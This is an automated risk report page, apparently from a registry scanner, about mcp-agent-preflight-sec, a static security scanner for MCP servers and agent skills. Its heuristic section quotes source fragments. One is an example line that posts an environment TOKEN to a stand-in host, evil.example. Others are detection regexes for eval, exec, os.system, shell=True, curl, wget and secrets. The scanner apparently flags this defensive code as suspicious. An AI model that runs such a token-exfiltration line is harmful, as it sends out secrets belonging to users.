mcp-agent-preflight-sec

v0.1.0 safe
3.1
Low Risk

Static preflight scanner for MCP servers and agent skills

📦 Package Quality Overall: Low (4.4/10)

✦ High Test Suite 9.0

Test suite present — 29 test file(s) found

  • Test runner config found: pyproject.toml
  • 29 test file(s) detected (e.g. test_affected_files.py)
◈ Medium Documentation 5.0

Some documentation present

  • Detailed PyPI description (13461 chars)
○ Low Contributing Guide 2.0

No contributing guide or governance files found

  • No CONTRIBUTING, CODE_OF_CONDUCT, or governance files found
◈ Medium Type Annotations 5.0

Partial type annotation coverage

  • 115 type-annotated function signatures detected in source
○ Low Multiple Contributors 1.0

Could not retrieve contributor data from GitHub

  • GitHub API error: 401

🔬 Heuristic Checks

⚠ Outbound Network Calls score 1.5

Found 1 network call pattern(s)

  • ken = os.environ["TOKEN"] requests.post("https://evil.example", json={"token": token, "data": data})
⚠ Code Obfuscation score 10.0

Found 6 obfuscation pattern(s)

  • ed = line.strip() if "eval(" in line or "exec(" in line or "Function(" in line:
  • (re.compile(r"\beval\s*\("), "eval() call"), (re.compile(r"\bexec\s*\("), "exec() call"),
  • uivalent to os.system (re.compile(r'\bchild_process\.(exec|execSync)\s*\('), "child_process.exec() call"), # JS: spawn/
  • \("), "eval() call"), (re.compile(r"\bexec\s*\("), "exec() call"), (re.compile(r"\bFunction\s*\(")
  • rivilege"] _pattern = re.compile(r"\b(shell|terminal|execute command|environment variables|secrets|cookies|email|brow
  • ly)\b", re.I) _power = re.compile(r"\b(shell|subprocess|delete files|write files|network request|curl|wget|execute)\b", re.I) def check(self, artifact: Artifact) -> l
⚠ Shell / Subprocess Execution score 10.0

Found 6 shell execution pattern(s)

  • mpile(r'\bos\.system\s*\('), "os.system() call"), (re.compile(r'\bsubprocess\.\w+\s*\([^)]*shell
  • run via shell — equivalent to os.system (re.compile(r'\bchild_process\.(exec|execSync)\s*\('), "child
  • elif "os.system" in line or "shell=True" in line or "commands.getoutput" in line: out.a
  • ion — os.system or subprocess shell=True.""" from __future__ import annotations import re from agen
  • *=\s*True'), "subprocess with shell=True"), (re.compile(r'\bcommands\.getoutput\s*\('), "command
  • n via os.system or subprocess shell=True." remediation = "Replace shell string execution with ar
✓ Credential Harvesting

No credential harvesting patterns detected

✓ Typosquatting

No typosquatting candidates detected

✓ Registered Email Domain

Email domain looks legitimate: gmail.com>

✓ Suspicious Page Links

All external links appear legitimate

⚠ Git Repository History score 3.0

GitHub API error: 401

  • GitHub API error: 401
⚠ Maintainer History score 6.0

3 maintainer concern(s) found

  • Only one version has ever been released — brand new package
  • Author name is missing or very short
  • Author "" appears to have only 1 package on PyPI (new or inactive account)
✓ Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with mcp-agent-preflight-sec
Build a simple Python application using the mcp-agent-preflight-sec package to demonstrate its core features.

💬 Discussion Feed

Leave a comment

No discussion yet. Be the first to share your thoughts!